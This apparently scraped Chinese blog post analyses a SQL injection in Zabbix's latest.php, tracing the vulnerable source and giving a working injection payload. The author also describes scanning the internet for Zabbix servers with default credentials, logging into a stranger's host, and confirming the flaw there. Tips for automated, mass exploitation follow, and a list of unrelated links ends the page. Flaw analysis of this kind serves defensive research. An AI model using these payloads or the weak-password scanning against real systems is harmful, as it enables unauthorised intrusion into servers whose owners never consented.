Zabbix latest.php Insert注入分析与实践
来源:互联网 发布:最新cpi数据 编辑:程序博客网 时间:2024/05/18 12:02
概要
因为未能过滤掉latest.php页面中toggle_ids数组的输入,导致Zabbix 2.2.x,3.0.x 远程SQL注入
源码分析
下载了两份官方代码对比,左为3.0.4(已修复的版本),右为3.0.3
\zabbix-3.0.3rc1\frontends\php\jsrpc.php
可见新版本中删除的代码即为漏洞触发部分。
/* * Ajax */if (hasRequest('favobj')) { if ($_REQUEST['favobj'] == 'toggle') { // $_REQUEST['toggle_ids'] can be single id or list of ids, // where id xxxx is application id and id 0_xxxx is 0_ + host id if (!is_array($_REQUEST['toggle_ids'])) { if ($_REQUEST['toggle_ids'][1] == '_') { $hostId = substr($_REQUEST['toggle_ids'], 2); CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId); } else { $applicationId = $_REQUEST['toggle_ids']; CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId); } } else { foreach ($_REQUEST['toggle_ids'] as $toggleId) { if ($toggleId[1] == '_') { $hostId = substr($toggleId, 2); CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId); } else { $applicationId = $toggleId; CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId); } } } }}
$_REQUEST
获取的数据未经过滤,直接带入CProfile::update()
暂存更新的数据。
zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php
public static function update($idx, $value, $type, $idx2 = 0) { if (is_null(self::$profiles)) { self::init(); } if (!self::checkValueType($value, $type)) { return; } $profile = [ 'idx' => $idx, 'value' => $value, 'type' => $type, 'idx2' => $idx2 ]; $current = self::get($idx, null, $idx2); if (is_null($current)) { if (!isset(self::$insert[$idx])) { self::$insert[$idx] = []; } self::$insert[$idx][$idx2] = $profile; } else { if ($current != $value) { if (!isset(self::$update[$idx])) { self::$update[$idx] = []; } self::$update[$idx][$idx2] = $profile; } } if (!isset(self::$profiles[$idx])) { self::$profiles[$idx] = []; } self::$profiles[$idx][$idx2] = $value; }
latest.php
末尾包含page_footer.php
(line 829)
require_once dirname(__FILE__).'/include/page_footer.php';
跟入page_footer.php
(line 38)
if (CProfile::isModified()) { DBstart(); $result = CProfile::flush(); DBend($result);}
继续跟入CProfile::flush()
public static function flush() { $result = false; if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) { $result = true; foreach (self::$insert as $idx => $profile) { foreach ($profile as $idx2 => $data) { $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2); } } ... } return $result; }
继续跟入self::insertDB()
private static function insertDB($idx, $value, $type, $idx2) { $value_type = self::getFieldByType($type); $values = [ 'profileid' => get_dbid('profiles', 'profileid'), 'userid' => self::$userDetails['userid'], 'idx' => zbx_dbstr($idx), $value_type => zbx_dbstr($value), 'type' => $type, 'idx2' => $idx2 ]; return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'); }
跟入DBexecute()
php/include/db.inc.php
(line 499)
function DBexecute($query, $skip_error_messages = 0) { global $DB; if (!isset($DB['DB']) || empty($DB['DB'])) { return false; } $result = false; $time_start = microtime(true); $DB['EXECUTE_COUNT']++; switch ($DB['TYPE']) { case ZBX_DB_MYSQL: if (!$result = mysqli_query($DB['DB'], $query)) { error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']'); } break; ... ... } if ($DB['TRANSACTIONS'] != 0 && !$result) { $DB['TRANSACTION_NO_FAILED_SQLS'] = false; } CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query); return (bool) $result;}
最终在mysqli_query()
执行。
实践
参考漏洞作者给出的Payload
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
直接访问latest.php
会返回一个You must login to view this page.
漏洞作者也指出登录后才可以(包括guest账号)。
懒得搭环境了,zabbix默认口令为admin/zabbix,正好之前写过这个PoC,先用它跑出几台机器试试。
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-weakpass.py
python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30
结果还不少:
拿其中一个站,登录之后访问:
http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#
这里又报无权限,看了下源码,将sid参数值设置为登录后sessionid
的后16位。
再次提交,回显看到MySQL的报错,证明漏洞存在。
自动化验证Tips
做自动化PoC的一个问题:不清楚用的什么数据库,难以获得可信度大的回显(如 md5(0x11)
)
源码中显示支持这些
* oracle
* mysql
* db2
* postgresql
* sqlite3
源码对于不同数据库报错格式有两种,可用于PoC验证的特征字段:
error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
error('SQL error ['.$query.'] in ['.$e.']');
目前可以用作检验标准的特征字段是:
table class="msgerr"
li class="error"
Error in query [
orSQL error [
可以多实践一些版本增加PoC的容错性。
刷洞的话不如直接用jsrpc.php
的PoC:
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-sqli.py
- Zabbix latest.php Insert注入分析与实践
- PHP防注入分析
- PHP防注入分析
- PHP注入与防注入
- dashboard.php----zabbix总览界面分析
- 请注意!Zabbix高危SQL注入漏洞分析
- sql注入原理与实践
- zabbix官网下载地址:https://sourceforge.net/projects/zabbix/files/ZABBIX Latest Stable/
- Log4j2分析与实践
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- PHP与SQL注入攻击
- 数据结构与算法题目集(中文)4-9 二叉树的遍历 (25分)
- 数据传输中的双内存池使用
- NSContraint改变约束
- 怎么将pdf文件进行压缩处理
- tomcat的配置和优化
- Zabbix latest.php Insert注入分析与实践
- 伤城
- 怎么在官网上下载java连接mysql的驱动jar包?
- Git使用教程
- Protocol Buffer技术详解(Java实例)
- 怎么在MySQL中插入大量记录
- @Component @Service @Controller @Repository
- selenium-webdriver(python)定位问题
- 自定义dialog的异常情况处理